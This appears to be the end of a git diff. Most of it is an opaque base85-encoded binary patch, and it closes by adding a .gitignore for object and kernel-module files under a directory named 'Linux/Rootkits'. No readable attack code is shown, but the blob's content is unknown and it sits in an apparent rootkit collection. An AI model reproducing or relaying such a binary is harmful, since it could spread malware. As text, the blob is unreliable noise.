zR`k)umStJhkR?4C=}jejTRm3$*p%}o8n}B0H(wHZ08OMfE=Awc<%xH|IPMfFTYbxMFt(^$rNT3-# z1wKE;jLg zHa3yzRiZlXTv=8FssAV^dXd@=&R84bOE1!}?^|9}peYz^{MCI0S?fAK2_?U)hS+;aHCXv@Fu-GD{;g!fH~onp3cny$8v@!7;8LE>x`vAj(qRLiC1On~i39 zlx4-55F8~mgsuU@s;W5+8uKp9I={yG5Z?=ELgd_K0(Tj?U4y$^NYBx<>u1k@6Sxbb zXV7%+A}qEo%f_~0nDGu)M$ZQT9eLs>tz0J7|AdBzz52$Tn#r?ly(uLGWN<6ADU!=BENa2{8UM zpqVcF8u&(=eLu9+ir+&2w&I?+)QfScm!!#!L9j};#%OzESS8xgh?R0K$AvrqnZzeF zz7ahTLFW;dnpAtJQ=s057$&LmGCzZe4c+}u6%0J zlxwcp%`~Q(PDJ07_e*Vgl_R`P%bj#TB16+b%&OhpioUi=e*nQmm140C&><||@0T@v zabcpMeyjDO>>fFj+|idI>u?|s;<13{MJE9MgY2xVgvmDF$KtDb&#_6)a}zbr0b1JP zbFCbS&$Du|c!rhJ;=gku)-fgi$jWK)$5t*DFST+c{=~}swMlL2Q3(&-d%eINyJXoo zJ!dyFXQzi11-S`$n*6(Bdn2!@{@<{B3ow!Yfc|O3>K~z>jhN|7<6Qxh-v{bv#7sF< zWyDI+?~PdZDD<|?6@6=S4<(FRz--q;6RmhUq|fci6MC6jJ#NH|=tY|wdRk(8CHj{UD@EgtVYO(6ts~NSsa2O0NPn93D`j6~ zb)J=#%u0CNDp6L#b5<$NO3-MS1t>x9{S4eH=KBEaHYt7>aB}87Rqe8p-^uCivy$J> z>4jOzc2;Fyl$(9|wDs)jk-VnaSI_7b;p7&38kO^$7H?9_`9*Rh?qcO)v97(yPm8-+ zxkP*u$2Ivoi+^wB5^>hbX>qfai^aECITFvaa#FmAk&+)=nxwdT0zwtJW(?nIs?8ZD zcGXN3{ZTc$>*wZCS-k=4MPzHt8G~q&ighy5e28ZQOhrGL?6T}?SPx@$-cq9vn^?=T zVjTmRi?j^%#@@}%g0StxXZ3+NvF%JTyep3AoXEZ)eojVwnax%+7n%i|5%t0~0cON{ zy)_j@=eumN9vqS_a$U^OqDgVnbH*ryM*u5Q^cY~Jw#!PGYTB+6>Cv{ym!KcJ!Co=l zYemuPz?ew5&cs?Jx(Sfqn3XWs=8LqY(T5RYJ*&l|x^tX~yGnEdFf}Ep6TxBAm-w~= zbW!BGI1bSyb#Z?{4UsDzZp!!*kANL~JIS?vl5wiJ-o$jSR@0#ACRd~t%(kQ6zh%Xp zh(4GcbqE8|b4IKby#hE#He@AyYV+4HeN@!!X(`d3NXv*^A9@pl4Y&FqxfrVz&4(tM zYDIE~@n0=+OQqhgkKkTFZnS5RC0b;}I(4_!xT+IPv0mdoR>x6S$D!t~Lge&j4A~z@~jxE9Xlf8}Zjho-O_AsJ**blWi~l&mf7EJenf9Nnm*Qv^r49PM_maT6)wr+)luhKPgGN)`DMI()~Tpx znyf03O3m@<%Qq+5Elk8y>Co0$$vXnZS%=D!ph)spwrCZkPo?y8UwllubymtoCiL1Z zp{>I*DVl6t`bo;w^I=>_f`qMblNqM;!xVSk&i_l1uFEZ3y?IGZgR2QY8UN|#ydsafOvNM!Ch~jm(pW@;-q{ZtwU#wN#S@DcaXKsPgfXtME^- zxuTPRnK=nI{M>1NIayx=O^o<^D@Wo&J^~=WOk8B;NUWdnk-c~iE0_5p=)p7fodE+~ z1I@RhFV)++`vQGGT|C$nSBXwEVzub6HdpjGDCB;xfmeV^e#sPN^jhr?ttk2k6tRt% z7sl$n+Inv`5r~QjkhyD@?SZg0Ab(d#fg}3J9>i2$b+Pi_dHu60Q!|_?)qq~ojo1Mv zU5%sMfGSH($x+;7W!z+Lren+gfn`-}ne$nWzx|BQDM|4|RxT5VulwFSG80oK?rmk( zhfQVZ{av1TCo4zd0ah*+?`-9?csDDTh+pG*zInna;Z48_C=tJ9<+S*1D;JBGSUD26 zS~)4+j|V8mk&jH?&o?d2F+3lc?~{sF*zA$w)i%2))dvEOJMX~6={!VYYg#ve*7P27 zj)()GzgkiBBryL0E8$tIw9iU--YNxI2`>XGe++$L#TAeuAU6mkQb6h#**>VCS4qWm zp9#PA-?{K=0|&pDCEJs-tk{l4mHNNZILL@>|EdfTkPZ-ig|;1Xk%_Y^_8l+heW^JD zXvY%EKc{KY)kdrpS>M%iu#M?aZrd42=}pG4Mr1>)6xlj8ah=?=PQB%Pt_i8;9Y_{T zZ9H5#LrqYPF{~3!He%*F$X2foCLyk#8|}DyjjE3|)hk6O0_+B7WG)Y4IagE*3v(}uCuwK$87HNko^#;Qq-Q$ zZKr^BPOg^tomN4GrSBg$I`CLXzIM*uevl1Qy1R#3Hh_#|^&7ye*?0XDxJsxV@$=n%j^qb0L?3Vwr8XiCB@0PmvvY<~N!gokau=tU#eE{E(}yDLR| z0Qw}l%!rkuYXPye%SyP#=KF=9!M_}6{}XE>v|B>v^FFQ#5FY_%gOgzAr%tp2P;;Dk zkQwqC(V<4nh%`mA5Fcr?MWcba1d?#7%@=9zWFF69ou=|7V^Jg0JQgHQJu55Wdz-K6 z+yj^pCD=KviRbWCJBQ~Rqf^^wC0qhHWs5F1`CO4nxYp*2G`|W*{G`nmJqJwm65hA@ zhL{bRw}X3`391pCLuDZf{TZ0D}(GemogR*41y4nL6&S+is4 zfYnbzklzGdXvA94rNI18sRT_i2cXE#XI(s>86C4rj6s#?Lty$Rp`DqPDp3-+4<#fP z+7gi#fi48&Nv|48)*05~CP;fLbLNlk51B^0ht`VPn?YxvlVCSg-W;_Jy|(6bo&{Tj7TF!)w8k^s%`#vA`@bz=x`&}=obM- zSy5!yZS84@b`z@=sdo%>yQ~DAUKnQI%@gU{M8MH3`U|BT1S5TM3;N?GZ%R`9gq0)l zlU6PkKV{{#_*pBLh?jPfzbV^`_10fqs*3+%<+S)yD;JBGSve9fw{lXv&qmgdkLweB zZ^TEI#2Sgq0bLMf0E5>qD?y*|nn{qb1YjguX7k%+C46r4*GqHr59D(QJPTkh`W-Mn zCER3{_E`y=5FAFL9!9JcRRG+Kse+F%*;S&`0n0X-eF))Alb`tvn%>zs5uFRn)JwR) z=8LWX@~Bsl&NJCnqDO%7nB*Dv2Earqp$i}|Q7@a{J}Y5cn=jfO$fwx8j5Sk(cn+YZ z=qezK$KW4qwkXL%bkmT8!2t70=xBg>B>soZ{s#KdWsCn~vqcH!R0kZ?$B3D5cGqW8 z@RbnT*{zLdm$j_f9SK<2?Xwb&0k{*5HTgWjm2eqg*%^Kj+5Yf$yR77o00)Cevrl^? z{3;+@i{LjIIVI<*VtF+Hbcm`l3`p}3~qRp6DH7wSGz(Q1G#2S&-ggGHg7-RFb zG@dhJm1r?wg4<;!yl(TgWWF`|jDv*LCcjqHj|HJd#ac5oD$??xclBZ|3DXY=eXPO<9_HRcL6FBZv*fu z+8LPsN*HAGMf(`BRx4|~%@s`rST|-RTx#=0F910g+qVPOY9ZPcS1T&8i%--+s+>sJ z+~$k4=g<+qD76reHtVHEq-DiDo9GUphaS81;gfhNT3Y5`Q6$*ir6yiiHCjw{W}Q^e zg>D1-(Q&R2B;IXGYFZ$z9NG}|HDZlOi%2U~e5lFJh_u&mP$silOcQMWwNSGWt3|f~ z6PE-nG@OgeeDT9ufwO4%5?9Rj8{*MR?o(u*gfWw?dDnK zbO#%ZsTbaaDZCRry2iUC#2lD&S#`)}}omb59zk z@nBTnU%nDt4SZT#zJBwrfoq%=unAXjK2?(Me*$kDvQLL2*Mo`R6re{IX8@lrMxF(J z2lQyfr|s}R0Pu6R=1S4$>q5U8)PoLO6OIE7T-D74o6}RD!u%G>d|J+oeXm*5_yeEx zR@eu?L*P;1)1uAz2T<@nSPp#ZL#$EZC7r;LFn&;Jb(A^!SMoox~`v%uZe#bTMP=ynJeJan{AYT6_lUn z>Te#@?@7PafB6mbzoXwi-eY&;+Y)`}inqzXm(IN3gBLHnjJa z>i@dfwX`u;evZ7~Uu!?Lg5w+L#VL1yyTS9orv(SoNALo82l#YghFum^jNlXq79GLk zci_|7@^2i@TCZW9gL!q{ny-Ky&J`diJBl#`KApnHj?=+8;5^{d+VXF}MjyfIpW+?} z?3H&r(6?6Z4)XP}=4#N6Pb>9_rcc)*Uk~(kh+BjF?tHS?6X+A!ZGcZ_AfE-!1s4VR z1w6Lw05hoITksd~5%6hY zkpEPWzaINo$)Afebv9S-4*n=t?~-$ z9_s2359+NgU!Rocx3w^+*H(EkwwkZa!4^Ti#~AlTpc`Y{I~Zr>eFZcxKLDTp!Dn5c zgNUC446`B!jWxgOjGmI9w%-GF@!ybpQ=c?u-x>J!X;tO69I!q8)PsT>z}>*7-&$`9*LY`v8Q>+b5J73fNQ`RTw}crw#D~wd>$G2{k8T( zn7g6iFra^tz6)&4JhrkfDwxNsSa*K{KK)vI|D}j&_|rEKo(0c2-$w`QhV1Uz>j)vG!!X^ZXI82f*L6`&~Cx8-{#xCC4Zd>WhPLuSwbrU9R> zVk~Y4kAmHTd1z+MEdu(UM=ASG1}p(S9YX%QV5KYf`3G`8bTFs}4}b^3<6to;=lJwV z`bv=Ah;}%3b)OWLcjcTn2h0NYiMNej?d=@X3031Av%0Y3e&`d?#I$lAR$&yUvL_5UCF(J^tJ zYp+#tyQFW&{RzAWT7mur;ve8kpleqBH~*2$yT0Q!2Iwnk@3Ov^fx*nbPwO$>{{#_Z zxN|U$J;~F#O8MQ^A%7UQhk_B{D4;rhgL-Y1FJiq9X1!-XL$K}_5$N;a74Q%6IndiW zwC8lDPo+TXdk?S|r~vi!(Wf=lKi<{X{l&fDPvBwj7w`?{dXe{#cTRS z-+UT}ptafr766})#&&1+(q^E4I`OHA{5~%K`ygMo`nQ)KSzF!cuTM2De|_@8{7%?? z4UQ)NyuiLcdAoo?-~-^3|96xdv7HO<0NTfWdX>3)m-YBP_&HdYYs(L9FJ_(mopa__ z!FjW-@=mrre#uf%p0Sf69N80a7Ub)0Vx`hlImUZ4W><(T&Ax7L%N zW597>9C#k+TGpqw%EP*IsCN~(7Nm(SjBj1-LLX1zN3qD4Pi>X&i|rKFt?uWWf_-jn z`P*<#-vQ|3zIt#m&sb-3ZTuAH*k!<{e7n1`TL2b<7Vr!>n|eOw+kZv*ZbA9Av^5_r z0Pg{x9>nGl+8qgQ3flh~`FpSmwBy{r9@qf*)SqjFJ-L3b1xE$f@oUQuZ9nhHxuKNv z3-GC}^1Er{KJYqt6RZLWt~rvR5UdYMKq)Y9T6pQiY0&1Z|E4Cx8iH2ABzEfy=-Z;6^YH%nY7e|JHi) z^8|PXECSo&b41{`t@5z$*VNaKE$T-a8}Jdvx2|@fkKQg8`SPi)@|&@Jopt**Xazp4 zE&rlYt}DT^ydC}r0K?6RZ zw#vJ2!!rX=4)z5TKm(Wprh+rT3@{rsZ0o&pNTL6hdh&B8xEm}0o$*;7_-(5^thuMMJD0Z>Pmrre#FT(ak@D6wntN<&)D)2LCza8rXbOS4aPrtRE{OkmF z1p~qLU=i@Ct@5z$XzGmx<3KA2<6Bp|(8rbdP%QH0Q(NVox98lcPl96532Xv-0G|dAAIdy}uYgZ$%MWeOIFxl?$sPxMYO8$z zgLsAwCW2GIEHE2f39bg$gImD@F#BNdmG5Yw|CW04^E`MNECxH_vp(?KR(V+WN9z9s z64ajt!uZzJF7&azi$%VCYO8!1wqJsOgH@np7{?9h2{r@0q#xqFacurd`+?N20<~ZS zco-}LKDAXI);))M=YyH5PfTH4>uMMJcmO{pmY{!amG6Y@7}n`H&;Wc|TmF}<<>g=n zNLTSS!Qq^9YPb%m<@*G{r+m9n*c}ay2NS_mumkmc%D4YL<^KRaRnXSqU=+9r_;egT zz5_|x-X~~ZKLd9)xDm_+cYwQqPcM#O??0T+slY41r?usWwny;2kCR99SupUat@5po z;2aGypbAU?4PXkG3eEsCz--WPr1#3X9sRe|lb<`m-CzOejL-7GZ(HSI-6hn2AGCrI z_z2@$SG&+hv5Q5%d}^zF5wFV6pMWM)K+=tQCyd^PAfnL__VhC7g@`T!Ruf-*klan z?XjF!j^iE|_>^xq2)lj2f#5Ju3p!BGr+oYAls^M}>U#`(2p9y$1D_7S#~WZN*gR(c1K=s}EO-Gd9mnT|<9%(e4UeY}U{f#@_|y@b^a-?gBKPmWrya@f4|WHGK?V2; z_%w(*FM;CPXqA)pLQg_ zKiC}%1{L5Z;L{-Lyae6@U4wepA>RZZ08fEu!3$vNB;uLuYZK2Y!~-@3LxE2nu}M!M zo>Pej__QPW{lV^FFsJ}O0iOm@=OyqS=o-|!4*4eV0C);K3tj+APa~dbzBchpB_6OT z7z%vqh)w!*;yHtOfKNM;-yiG_27?Ol6YyyebzTDRfv!Qlx6kBS;4IcQ=mpBbFmM>C z1U@~8oID#lu;+C4JunUIc?ri8@M&G`JOUVrOj`R7<`yxI&oW(Ic+grzdyN3J+LE=*Sd>Pjfmoq=V!A|uH)=+;S z`HzEV!H*!{zsmOn`+)<&LEs+X)1Hmoj{^NRiTb7ftOlblU|xVv>uM)IxBL%3Z&N;+ z^5emEZP>kw?Z@C#@HsdPd!KyFQ<;aSK&zXNd5rHO;M2O=U4(zdE$ zvbo@Puw)H(D(?Zd1Y3h`!R5fGj*O`v+iNf6nIuTh?!?AgByjN<^@#)vvZ-X!S)1G@6ei}gN&zH}nyaQ!j!2WBn zQ~4#}ciP&2nQpALr~A}ax%ztI8tOHZzYY02g3)U!zXhASz&+qT&=otM$`C#Q zE5Xoq{KFeK9QdU2-M|QN2bd4;0r!Fjz+#~KWz_iqpMI@N(d--R9q4h24`{!^fcJblmHr?utx zCZ60qUatQ9Mx0B)YhVee*@Vv-!BOA@aK#R>-``sAGTM3xY_~CQ zJO}!Jt~bFY_@4`gcIP<_Sg|R`09d^Rzvdigi zHhhlBchq0_dtEwl=hATKK<5u%kY105B~SZ z`M=%y_kPmyduc%%A4a_uc#bt@YH_ zrnI#em;s~%JmuCla>DQ+ErZuU#^y&Xv|8l;kQ^saA z5PS{P{uZ?DQ(NV}?&QsRP6;jt8DSt8E&Kl8%SPH4|7y#pw#wgj z$JiC_81wbkmOr`tP zZjVg?|J)DsR?(9{_&wFO%ELPPKDJL42zt-4{-06r!1YP_v%zEFC!jY$%TE8txInSE zv>M*T)qe?I4D@1Oz4iZ7pzrSbI(_k<0eX|HPpZ2sSX14B)O{S=Fs^+g#tigapX(~% zlU^9O5VQi74Fr0Xp-+0V-h&`NKhbaU=_gGYeGEKhlI3w;8h`SXv6C7S{Z5`ZWo*B} z`wrb<%IM>rcKpew_B-a(@e{`EFn&y;pR{qKCyz_?8*}=}__I7^k}a7!cGBeW6Hoqy zax`U=#!isE6&fb++L7@mkLT}{vD5f_912Af$BdpbI?-?JxTBAoH2S2mM~@prO|M~V zi>Dkjd2*uPu~Q~ag2q@n;aDv3Kl-Hc$I|vheDbHCX~@>Hl_s8a(%6$J95eQqQ;$D- z^rX=zA3s)Jj5_}0<0g7}^fAXw8avf%6ULuB*2@f-7bi@lFpqk2*wgepF#%?BdGbt!V_sK7Bwz-_$JnXc_dwV0;+YLefe)Z~!YWGF# zUc^p$DWD`f;ZVRKZQ4zrn~c(`z?#xEHC2p_4&_>)C9dN1CD>8vQ5m@;TcxAGYTxc0 z+U-O?DD>^BzHlP=+1Y)0MKb!5YqI6!$)(y+Y)WSU!ZCH;`&}}6kHJ$s-k?Bt;tyJqY*u0V0A)bVYw{K;|z-|S0<&2F_-tGl5j6c}h1;dw%?{9(KD*UZlOS?+~yX1#OQS#`5oDYg}@(0L% z4Mo^R*e!E;-cE6R3VeLav0J_df9lJZf!zx1R$!<5W}jpudkkyEiZ|?Dv-5pEz!Xk1hCz z)Q0VNZcBb=3N^PnhPAiEqs5wT-5~M0?-XU;AL4%{?fc3sa8}yit!`V^K5li}g7#~x zt99CEU$(m4^|b$5T`Qgaoqg8oI)kug*-x!*D4~7R>gomMIo)1NXdkrYZ0aQKcUITV z$@K^On$>yGLDK$ZbuR2k+NZ3}g&#@#k<~SFoOjrFtgczH`-|1t^hw$utZvVYvCfSj zN&A8=-^l1X{;kf98%f8x)wz)(>3Fuf-I#RTTAdp!l8#TS+nX#MhgR3wI!*=V_gX@o z8=)W-n5Rl{MnNLDDI&WdQ5qK-eTzK3SDwD*FV;~q@%3uWfFF-`i4t?p@Z-^rm*w=O z+>b}Q#KsA3M-u6|cD~y454{JY521frpY8bF@gv|0bgeAuh(cS#N z^;yCAoJn~Tx>l0nouT@7B%_yI{W);?U9tZ=&_@RK^*@gFf&L2mn84rLD!(Tg=~qD% z&r?ob&wyd}_2Mo%1A6lGlb+32%rU(L2-^1ss=sY28bF@fyHn-c zrJ{44{s{VP^lhB}lI+oEI{gE5e)l2LHJIw_Idd!ekxpNU-n2t1>g9AjOJ0CJ!s&Xh zobH#3bbYG&JD@k9-{i(`PnDOYqA^ZC485s;DjMQ+E;n*X{n5CkcTYt+F68fQ*`r_Y zbp4O}f?z&xLT_e#bew8@9zee`&|gOP$*ku*y){o?hTc3e75$k?YJUZK3+*LXpjv-o zpX5*fE1GCbMJKcM%U=IC+HgTC+MfeV`qtceYMwgUEJPYvi~e@uOiQW zIC|+FspxQ;mH#Q|P3WIH{R;GkJ5$j~PQM?$75zu2|4sT`sc3@JzeUf?PepXj_|yLv zXa1OqYFzo&=nK#%I$i&hTY7gY(shs8KOVj8o>Vm5m0u)#^!Bb?>%L_{Dr$7)FQAv- zn~L;9FRK3qdi{N==rC8F;FP)meX7&9Krg#L6?Jj;<>;9QVt>b=FGki+uKW}9@`b5L*Jp}H?@OuwGwautZ-t(CnB&KlAAnx=NGiI~ zm5)PTjIK*a)t`x8`j?csFO+_p${$NbdWIqWDfH%+RMhPBzoVBw5zn9gAGqwvRP>qi z--C5i`cx|VkJI(r38hb`qFJtfE&76IQqk|7uJ_es7Nw%ePX8VH;^*SyeI9!K^Qq_y z=kICRzmSSvbNZ*~WiO_pm9Bn@OO~>iW4*WZ#i^*l+3%0ujQ+CI$DlX7nu<dPv>l%+|q`wx=_cHX%>#68{R~~VRH2aNI^n;5>|9jh7Qxug`-i|j! z>Um6QZBe8v9qGrSmj(K{=;i3%K8xNIl>Y_YCmqjEqc46h6^$lS@x6{-{(dUz-IrS4wR_}rCliKf{r}sl| z`PiSYyC-&2eSW}_;h?`g5{Km3*W~G=^7OHJ`UG^Q+-z%wJQb9{<p|~P@k#bW(2Gv=*Eby#qw>nfqSrrH z80qs^)t`di`g~!epHr27E_%5fG6|Zmi_!N&_4A>hU>F$a^U?XKpy&eU@2}{yUoMP# zlP!NQqPL(oJN+H>`d11gUH7Sc8T!u1T7PQqNAyx;-=5yJlv!LDeM+9}^&ZXgR|}){ zT)YF(`v&$0psQ_Pe}wA4Rv78NRrOCnSF+`u6OHK2j8_wR8vl#XXTM$;y@rA8uSPG+ z*>^EN5m7oJ-XHX~_3eXl{enQllEUa*ZY@-Q5xUy)?Y)7n=POq4l30p9B+$P_PyA3A zb#VP_&n*}q?d9zCF7)(|h0*%#Yx2Jxx=)(_-Ov{o6h&NFnDU|M^-GJQMd&&n^e(XF zlyBzB$DpT^MG?&z`;*X1(S3O%dO5o8^wi$v==Fj9wdf7#et*3aJ(DVmwsQ6h(VNiy z_0J;o^1`C%09XDNdbfu7_|coXw-0o^m!ce9W32hnXAu*E@+6x}6MCsDFVbe?lE$MW zdNbu(v#Q?({cUuaN$-KMEYN$Y;FO}M%$0A2UXEVx^nU32!QUpM_eku7-b^{pj6Z!= z-+XGU?;(9stnV#-a;)zweM+n!Abo1AA0+*>SU*(yv{AVF$I)98g^|9OBK;Ng%!*XBo6|o>FY8|zoyP&H@>S?Q zDZXy{Ecg6eXF{Q+JUY`Bc=!=g_ znf*cS-;dsUT4D4(*FDmoMxWiaFgnEfdmp`ia4NdQ>0hhj&qgo*#6C~x#P!k5=*^i_ z)QJN~<$4Wv=BdJHM`z!HzMv!(JnPcOfS!3P8Rj%K5Le)cTBg8OGUb7k^VUP0>nQoL^Qh&%UG#Te$WQ$SXe_y`_CoG!I+VpO{yE4ti;aRP?SZzgD`g_eg23r~aV&R}@A|-1=Rp z`W#<(Ir}%HyQFwlqL=TGiUuL8y$ynov{c?BPv0?5-wVC0Q&IGiYwsZROu2ntD}RT} ze!W8TJXHFmy!wskrOej=*Z!=$@;{>2FDf+8=T-mdyz(W|k55JYUHxzK$~%;@{-UDj zP8Z)M=ncXBNI&#e&JViZl>a@^eUf+(f0~O6&F2lKKgwi(tcIkYfZp4Uf2a1{6Q`-% zC5_*OrTpno7+nd;{u=c1Al`e?n{TwA-^u2ISqF#e;Q{t^1}O$*KQceVE!x=)JtKeA`PKMYyr-FmT} z*)R1SJLx;1H*r1vjw>%m_eu3fNoT%pfMh>a_75bZ*{=QtdG^=j=?|jUb3eI{tN$|k zZ2I@Q)0d(*&r3#6IsM-%f0y&W)AgRPa?VeCIDI?x#brgg`;R@*TbR$P_BOsMbe|Oe zvFOVu#pmm(dF2=6>35;0xxd<-y6W$J~&bw}q1=gsG(()&txN&fanZ)QKb09oa=(l_RLpc}t>^wzJE(JJnH zR6Y%TInOWj`%2Php_i{pMOQNb(zECbg6r!$(3?I=MtUx;@)q=#EqR{q{J)Ccd}DmS z`U(2VpnspL{=La)wX^>T-6zH0b!+@_{h}{A%Kz5r;r-PBbf08D9DU%;$>>jRyhrAh zPecFbEsVeOcQ$(YW`#L>y;IL8`MV3fd2Ss4U(uUb{|7n$ucBv;OhxB7f1jh59#9ya zuz`(t6}nIIw{c&ushnrs=uKQ-GTf$r2cy>?n2J_7{V4PW>7r;)r=Nn}Iw}&y0&;Ewq|ezkzE7hkSRelW z=x^w)_@C+gf1q-g6#v(GdI1;W^-uFWjWYS`p$l`DWIq6X`M#;#eyev3`lRwI^u=6{ z`uRQ~ul#KE1;O>Q-VNxJ>feXn`eiEW?fUaXUishAn|Xe4Besg~3-t0}Kl?tvN&%f57)sT=^382A&Uv`eLrXE_da}sXVyx#Z(VKa``UG|5?{3+@m5Nrm_4AC%uZfTUchH+^Rk%;z(97OP<*vsc&ntf;Pyc@kyLR42 zmh9Xx*1i)hU}uJt3&W{pk$O&G;F1(Iqq%wzB(*bh9Tb|~MY5%4S8qS`7$+M!bFk?~ z8!q6)KfuAl{sRj;@jq~6!2iJh&Z(;Is#Z%LTwSqVr%s*sIn_=5SEo&XhvWB7JpQMD zV|Ua1`75-4<&6I=+B3&Kd_>zmPx)tfvi=(F{h$BIyRSxGKBH~_5&j#rf9u4*8QS0f z`FHQ6@fUSx{y%iuzd`#~xZnK)U=jWQ3GLq_-lpessr@fB|L1@F?%xc&e@FX!#M2jM z{(sZ_qt+k&FSVWe8eeQ-F8w2X|6-p%^8cuP*lAy({fEE&uBoT|9opaj(Rc5Djk$!+ zJ=*{CA3x*g8L0jDo%R3NY5xxGfBw&(z58m;^RJ!pAS$Y|s@LniC=g<@yqSy3i^Wn1 zw9dTNr-?HZE3rw{Doh2xSt7#vDTvfAPh}S5D>M3Z6zswz!$`4S zoym1rr`3%f{{2^#V&L~T&fMtm}cQBm1t~|Y!jqvb5-LV9zk#OBw?C-lX24-L=5|;uJYQ2 zGz-h}Q5ErIDp5jyb|TH!|07$~xw%x;R?vzZ?1V8qD| zFC4JIyk|m#SO2iHo)CWvz$@bp1Va2R2(OGg5Qc|ua=d@Iv;Hm85`doZ4urSPKoIme zF-L3YRhT;v-X7JvzqXc@jRu!REj93lfi2vg!4_=KU=P$@eA}hYa35r6xPk2`;P8;- z^p#`iLC>H#;E25K@;>smqrK?94IWC+Goc}I|FDA|>A+h6{=f0|c&`zFbmXla+Hr(L z+Lt#}8h@A%4-Ve45$9R?k~Plxobd+g%V7`qhIr1}mNVYywyN?N4(9<86<%MKiwc3k zCZO&~s!F+lJKReU1nlhxt9mWg2^??CfofPtIOxTFlJj&E>*#nXN@;cgXN*XYz-N(h zMQO!lh!69OAb$S(#sBxmJZ7*Xsph zKpq&a@kV)H2ah)My}6e%3%(T$dzDn>Oct{co&f!s=2{2@ z;qUi@Z_kfdG{gJcyZ%Xs2dDi5$Agppfs^;g{R8h$j(P`921kee0|yYbKGaVRhr|AX zqroeC9Pjs^ z^027(4ugr=jyBtiR904bq4K@=dbt%{zr~VG@XqTrWz-1+jn)w>A06OQK0s6%3$S9% z=zhxOhOssIf}Z0xhSiH%G4Od*c6C#&;pV2T_B^&Au ze#|a|#q0z>r}#O-59Dk%z|S#$4)HS#c1f0`-xPq=!#u#J!IKyWdklOiB(xd*_?SNz zjF;fV7+*9|gg7NwCeFTIkFG8zm$YrvV5H0Gng6fMQ9M61{H5n)7eN1B6X7yL$y}Sy``}0EWMrpnc7s&Y{ZMhhd zBqMZsJ;j;JET>d@{qhtz9sYAqOi0#9k4MF(rf&x+1JVTna&o>8<@@0Wkn_`Q`azt6 zqJ$V6F-bA`VNjjV#4dWNP?F&aOZSXF%`c}AQ(D!?wm$KcG>bsYVL6IYj!7WVTp-g0 zb1jj$STK(sAVcC|{o3&$R>!Bud(aw@N21!++5O(?iKG<@z1yh=*%&JBY(-ic`oiV$_?@+4}V$9;o*qjkdylf7_)cL)axKdw6=n+)s5$3Ewh@d zVkFx$twANiEN1F@oz~^H1Iz}TS#};mDr3|w;C;Gs$Nuv?E`9&Z{utYm2%Xax;b@zB zn}fDmGAR6t7ZHw>>0UDGugMIN*O;rgvAUuR*IZYE%HiNf^csC8VzxRpJRFZnt4NAa z+JZ&NWXN?Qtk!ag{b9+qgt??3HM-m7ZdV0EU{u7^8h@d`H0UA*rcgK3RHbxR=9IYqp4bmOal^bpl8sYph0csm7|Z3hQQVVhWL9J)-%26W7R0!?)Z3_AD@##RN1zc37yWC0VBw43dQ{hp_F zMEOVyYY-H>IPv71_}xy}Z%{$h6^qBv#pGa*3pW?#2-Je9GBLLyczeWTX+X z(Iyj{ka-85^r{OaNBy=LR zjzf?CSWct|hy|%9hax5XWz?ngZ7F|5rbY7|Jszd-#74iZn4%JW%yP<{ek z*rh1L3|G*rS3$xtR|sFpD~mPkV!Qm1=wUPlEYSI?xVRA@chpYXC-ReO(|2{X-H^J* zUp8tKu)Q*ZDjM4f9_b^^l(xGLX^udeWJgy4Labw%cA_9;Wz}69x$2B!*a)-^sk#9b zVJ0iox5qR>X}lrqEhW?JVi1KTnG2s`i% zW*EB7=!yaMtpFJ-6{)oGW=tI$LpE!971i#^LUDNMyCKJiqM}B;Kz#4<0=w#kB(UuL z(ZhEb6uU5d_Hg#XXZ%bPgIKP~C~K^;_$(=)aj?r(@W_EZfV3zjDykegVbV-tIuyR? zttqb%s53P|*xfinuz4&~su?^%<~$uFH|B{&h`Sm;YF@LlwF0I&0+?SO*wh#k!AEeE z*m2R@x{B3frp*?z)Kp5(3j$*>(z42UKtu@?dw2Hb@S}}1jh67mAJdr34xQT?yoq9y z$Nq!4VbO%}ohL{_us5#E7{Dc`Z{66B(D1#Rxir-mn1s9bS;pzMu_=adH>fWONmuj4 z3o0>85@(K}g~vK>BNlYpp@5<_VKTsMRmp1aQpU{Zst<|^Ca-~L#G-5Njb9aSzIntLx`@TaSaZiH$P(EI*$=Z0 zhB~sDzpBSg)pb<%GU;oD ziI4Na+QKHZGVXJ|E>Uh0VuQ+xPGWG8j}7Ns66N5`&{qRT@NfAY1R^MJ)rG74zns3`;1{MB({OBWw=z@KJu z5@t)Bi_P5D3lcF-=#%KHY*b#MJhe{RBWlBna%HgmG`>AwT>LZ*IC}a@un_HcaBQ7n z=bo8OA!w%UvVBm(i}TMZodZ|7ZlaZqp1tVofP)fO*|i}{Q#(pJ2)gw{bdcbM8}ZB( z;xEV68zTkbY#etZpAC7U$|ug5eij6eb-2%hkfCFb-Z=YLT{~{AoDvaXWJ%<@6iP_e zQRaJM-+FOgwt{BTbzLVLIR_SShEjYRJp(Pa6lprvK zG_F1WPqEZC^mKp=gy1xS3xp@t^KoZzw9sjNkpvm<%`Vz(sj4A(TU7%X8%$(R8CB}6wwvT;cL&>%6N6xcS zVG&=Vasm6T!#^7(wb2b7z?D4nfF4aGz&6(^>wU zt`!Ii;?0BQ-Alj0o3_@Qod>+CN#A;-7%VaUUb%|-!ZF2S8|Jq1f)WxP%q$=aVyhXZ zP|((wJ6Rm6T40IEBDXTGQ`~}6_{(f(fdhwoPo!d+BMDzqcppzP$Ie=u+&ku6^b`M84>P2vG1v^5)aI~h4ADrzbh!IR2oO61LOXH3)f3_s;kS;x9)!ndUPz)yEoMG^Vl+|96{k(Bg$j?Z|67P|3$R9A0mqFTyO$VO~R z&pUQ19>fB`#xril45OUGw;`Y5gVf`w!oDleM5m$b4M_=XnoTY)G(^8se*B_gP`;xtADGm-bYtsXzGjdpc>%f(6!{oB z69fWnh-=Ept)S3EikLJN;F2r>TvN}P)Jzvh2sfiA6kN@dXxnndMAWdJ3s4@2;d#>7 zS|v)3`VXN`ZKVbn(Izcq+Q+IUQ4|IY+(jq_pRqwED`nA*hP?`t5p-VaT4Y_BC(&MX z++B4Co^qj(7D+tIWS%uVN8ORj#a+`lf@$>a9aZz_+RqPFfN!6MH%bWmQ8{rv`$*J! zXUdotpaZsQCfod6lW#m$Pd&lpEkE7_>*-ur5Rd7SpLOpu3cUg9mbmhS>1j28p91*o zWhvHkt~Q8YKErkTG~s(9mS0oO?B_ib*wHte;y~dzw{sD~T=THA5#Xg-M)}BI>~-W_ zSL?Cn0(o95-h}8L N3-Yb)PI=kX{{dxeozegR literal 0 HcmV?d00001 diff --git a/Linux/Rootkits/Self Titled Project 4/.gitignore b/Linux/Rootkits/Self Titled Project 4/.gitignore new file mode 100644 index 0000000..edf6645 --- /dev/null +++ b/Linux/Rootkits/Self Titled Project 4/.gitignore @@ -0,0 +1,29 @@ +# Object files +*.o +*.ko +*.obj 